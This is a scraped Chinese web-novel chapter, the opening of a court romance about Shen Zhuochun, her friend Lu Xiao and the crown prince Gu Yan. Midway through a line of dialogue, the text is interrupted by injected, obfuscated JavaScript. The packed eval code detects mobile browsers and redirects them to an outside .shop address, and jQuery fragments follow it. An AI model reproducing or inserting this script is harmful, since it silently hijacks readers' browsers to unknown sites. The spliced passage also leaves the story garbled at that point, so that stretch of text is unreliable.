文趣网 > 都市小说 > 月名昭昭 > 1. 清茗调
    咸安十七年,刚过惊蛰。

    清晨,天光微亮,雨淅淅沥沥下了整夜,在檐下积攒起一个个小水坑,滴答作响。

    沈濯春推开窗,趴在窗边上听雨声,随手摆弄着前段时间从东宫顺过来的新奇小物件。

    婢女青鸢将一件月白色的披风罩在沈濯春身上,“姑娘,病刚好,莫要再着凉了。”

    沈濯春鼓着脸颊捣鼓手里的九连环,“知道啦,青鸢。”她没什么耐性,半天没有解开就把九连环丢到一边,下榻打开床边的柜子翻找话本。

    前些日子她在府中养病无趣,顾晏给她送来不少画本,多是一些民间灵异故事。

    沈濯春胆子小,每次看这些志怪异谈,总要钻进锦被里蒙住头脸。某种意义上,这般捂出一身薄汗,对她这场风寒倒是大有裨益。

    沈濯春倚靠在贵妃榻上,指尖捻着书页,慢悠悠看完一章,屋外传来一阵叽叽喳喳的喧嚷。

    青鸢探出头往外看去,抿嘴笑道:“想来是陆二小姐到了。”

    沈濯春忙把书搁下,掀开毛毯,招呼着青鸢帮自己穿上鞋袜,急道:“我约筱筱今日去听曲儿,差点忘了个干净。”

    那头陆筱已绕过青砖影壁,眼前豁然开朗。青石径两侧种满奇花异草,皆是蜀地进贡的珍品,宫里都鲜见。

    院子里弥漫着依兰香,甜丝丝,像刚端上桌的桂花糖藕,是沈濯春素日里最喜欢的味道。

    青鸢上前两步将门帘高高挽起,陆筱提着裙角小跑两步进了里屋。

    沈濯春今日梳了个双丫髻,垂下来两条青绿色的丝绦,余下青丝披散于身后,青鸢又细细挑了几缕编成细辫,发尾坠着一对鎏金小铃铛,随着动作发出清脆的声响。

    “昭昭,你病可大好了?”陆筱凑上前,伸手捏捏沈濯春的脸颊,比前些天瘦了不少,半是心疼半是打趣道:“怎么瘦了这么多?回头太子殿下见了,准又要损你,说你还没望月沉呢。”

    “望月”是顾晏的弓,他宝贝得很,不让别人碰。

    沈濯春也抬手揉揉陆筱的脸颊,“别提他。”沈濯春撅着嘴,声音里带着委屈,“都怪他给的话本子,尽是些神神鬼鬼的,害我连着好几夜都做噩梦,觉都睡不踏实。”

    说着,沈濯春拉着陆筱的手往正厅去,刚跨过门槛,就看到桌上摆着满香居的酥饼,丝丝缕缕的红豆香在空气中漫开。

    沈濯春眼前一亮,拿起一块便往嘴里送,饼皮酥脆,酥饼上的芝麻沾了满嘴。

    翠枝在一旁瞧着,笑着拿过手帕替沈濯春细细擦拭,“这是侯爷今日下朝后特地绕路去买的,刚出炉就揣在怀里带回来了,现在还热乎着呢。”

    沈濯春就着翠枝手里的帕子蹭了蹭嘴角,又端起牛乳饮了一口,偏头问道,“爹呢?”

    翠枝朝后园的方向努努嘴,含着笑说道:“侯爷和夫人正在后园给姑娘扎秋千呢,姑娘前些天烧得糊涂时拉着太子殿下的手闹着要去东宫坐秋千。”

    “太子殿下记在心上了,只是近日繁忙脱不开身,早上才托人将秋千图纸送来。侯爷夫人得了图纸便张罗着要给您搭一个。”

    沈濯春闻言偏过头低低咳了几声。

    前段时间顾晏明里暗里在她面前炫耀东宫多了个好玩意儿,她悄悄寻了去,绕过假山就看到顾晏脸上盖着一本书,正躺在秋千上小憩。

    沈濯春屏住呼吸凑近,伸手轻轻揭下盖在顾晏脸上的书卷。

    阳光透过枝叶间的缝隙洒下来,落在顾晏脸上。顾晏年长沈濯春四岁,前些年册封为太子,被当做储君培养后,眉宇间便褪去几分张扬跳脱,多了些让人猜不透的沉稳。

    沈濯春看着顾晏紧闭的眼睫,忽然觉得眼前这人好像真有几分传闻中的模样,手段狠厉,深不可测,颇有帝王之姿。

    她蹲下来,伸出两根手指,轻轻拽了拽顾晏垂落在膝边的衣角。

    顾晏没醒。

    沈濯春抿抿唇,又用力些,连带着秋千都微微晃动起来。

    顾晏依旧呼吸绵长。

    沈濯春伸出指尖戳戳顾晏的腰窝,顾晏这里最是怕痒。

    顾晏嘴角噙着笑,却依旧阖着眼,没有要醒来的意思。

    沈濯春盯着顾晏唇边未散的笑意,收回手。

    她把刚刚觉得顾晏沉稳深不可测的感觉尽数咽下。

    顾晏明明一点都没变,还和从前一样,一如既往地欠揍。

    “你好烦啊,顾晏。”沈濯春叉着腰,气鼓鼓地站在顾晏面前,发间的小铃铛随着她的动作发出清脆的响声。

    顾晏好似刚被铃铛声吵醒,抬眼,眉眼中带着几分困惑,“又怎么了,沈昭昭。”

    “秋千是你叫我来的,到了却不让我坐。”沈濯春拉着顾晏的胳膊想让他坐起来,但顾晏非但不起,反而脚尖轻点地面控制着秋千晃动起来,每次都能恰好擦着沈濯春的裙摆荡回。

    “你真讨厌。”

    “啊,不烦我了,改讨厌我了?”顾晏双手交叠枕在脑后,眼角噙着笑,懒洋洋瞧她。

    挑衅,赤裸裸的挑衅!

    待秋千再一次堪堪停在沈濯春裙摆前,沈濯春突然向前一纵,稳稳当当落入顾晏怀里。

    “那我偏要和你一起坐,休想独占。”

    少女发丝的清香丝丝缕缕拂进顾晏的鼻尖,他倏地偏过头,轻咳一声,耳尖悄悄染上薄红。

    “沈昭昭。”顾晏低声道:“你不能和别人靠得这样近。”

    沈濯春正从身下抽出硌着自己的书册,闻言抬眸,不解道:“你又不是别人。”

    她随手翻看了两页,全是些之乎者也,无趣得很。

    沈濯春觉得没意思正要让顾晏给自己拿几本好玩的话本来,突然一顿,抬起头,发丝擦过顾晏的喉结。

    她撑着顾晏的胸膛,两人距离拉开些,顾晏怕她摔下去,双手虚虚护在沈濯春腰侧。

    “怎么了?”

    “顾晏。”沈濯春眯起眼,“你是不是嫌我重了。”

    顾晏:“?”

    他何曾说过半句,他恨不得沈濯春多吃点,如今抱在怀里,轻得像猫。

    可顾晏这一瞬迟疑,落在沈濯春眼里便是默认。更加肯定了顾晏就是觉得自己重,才让自己离他远点的。

    沈濯春把手里的书册往顾晏怀里一扔,利落跳下秋千。

    “顾砚初,我要和你绝交!”

    铃铛声渐行渐远。

    “这是第几次绝交了?”陆筱托着腮,偏头问沈濯春。

    陆筱和沈濯春年纪相仿,自小一起长大。但她同大多数闺中好友一样,自幼就怕顾晏,只有沈濯春喜欢和顾晏对着干。

    沈濯春掀开车帘,市井的叫卖声混着街边蜜脯铺的甜香一股脑儿涌进马车。

    “反正我不理他

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17836246|211433||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。”

    马车行至一间古色古香的楼前停下,沈濯春和陆筱先后下车,“醉春楼”三个字龙飞凤舞地写在牌匾上。

    陆筱拍拍沈濯春的手臂,“昭昭,你知道这个名字是什么意思吗?”

    沈濯春摇头,帷帽的轻纱随动作微微掀起。掌柜瞥见沈濯春面容,又瞧瞧二人的衣着,忙笑着迎上来,引着她们往里去。

    陆筱话音里带着笑,“醉春楼,当然是喝醉的昭昭啦。”

    沈濯春没好气地拧了陆筱一把,两人笑闹着上了二楼。

    青鸢和翠枝皆会武功,一人留在醉春楼门前,一人跟在沈濯春旁侧,暗里还散着不少护卫,沈濯春都未曾知晓。

    小二为沈濯春和陆筱沏上一壶茶,殷切笑道:“二位姑娘可要尝尝小店的春风醉?别的不提,这春风醉可是远近闻名,说是飘香十里都不为过。”

    见沈濯春有些蠢蠢欲动,陆筱按住沈濯春的手,“明天要去入宫伴读,你忘了?”

    沈濯春和陆筱今年皆已十七,今年圣上谕令要求各府适龄女子入宫为朝阳公主陪读,明天就是入宫的日子,半点差错也出不得。

    沈濯春的酒量有多差陆筱是有数的,每次醉后都无法无天,偏偏醒来后还不记事,不记得就当没做过。

    沈濯春闻言,索性趴到桌上,“不想去。”

    陆筱闻言连忙捂住沈濯春的嘴,“忍忍,昭昭,就两个月,一眨眼就过去了。”

    沈濯春抬头又问那小二:“今天唱什么曲?”

    小二立刻俯下身回道:“回二位小姐,今天唱的是《镇北将军守边关》。”

    沈濯春低声喃喃,“镇北将军。”

    陆筱接过话头,“便是六皇子,顾溯。”

    六皇子自幼不喜读书,偏爱舞刀弄枪。早些年被圣上遣到边关带兵,倒是真闯出一番功绩来,颇受称颂。

    沈濯春端起茶碗品了一口醉春楼的招牌茶“清茗调”,入口带着一股淡淡的桂花香,不苦也不涩,沈濯春很是喜欢,想着待会儿带一壶回府,让爹娘也尝尝。

    沈濯春指尖转动着茶碗,随口道:“六皇子是不是要回京了?”

    陆筱正朝楼下望去,戏台已经搭建好了,“是,算算日子,应当快到京城了,说来也怪,倒是没怎么见过这个六皇子。”

    沈濯春弯起嘴角,轻声笑道:“话本里常言,大将军都是面目凶狠,可止小儿夜啼的那种。”

    两人身姿窈窕,即使戴着帷帽,仍能察觉到楼下频频投来的目光。

    沈濯春略感不适,正好一曲唱罢,便拉着陆筱站起身,“走吧,我想去买些蜜饯。”抬手招呼小二过来,“帮我装一壶清茗调带走。”

    片刻后,小二便递过来两壶包装精美的清茗调,“贵客,这壶是我们掌柜赠的,您往后常来。”

    沈濯春笑着接过,应道:“一定一定,下回来定要试试那春风醉。”

    二人转身往门口走去,还未到门前,一彪壮大汉忽然拦在沈濯春和陆筱前面,沈濯春将陆筱拉到身后,青鸢和翠枝也瞬间站到二人身前。

    那彪壮大汉见她们皆是女子,语气里带着轻佻,“小美人,有没有兴趣跟哥哥......”

    话音未落,一壶茶水已兜头浇下,淋了他满脸。

    沈濯春将空壶随手掷碎在那大汉脚下,嗤笑一声。

    “你也配?”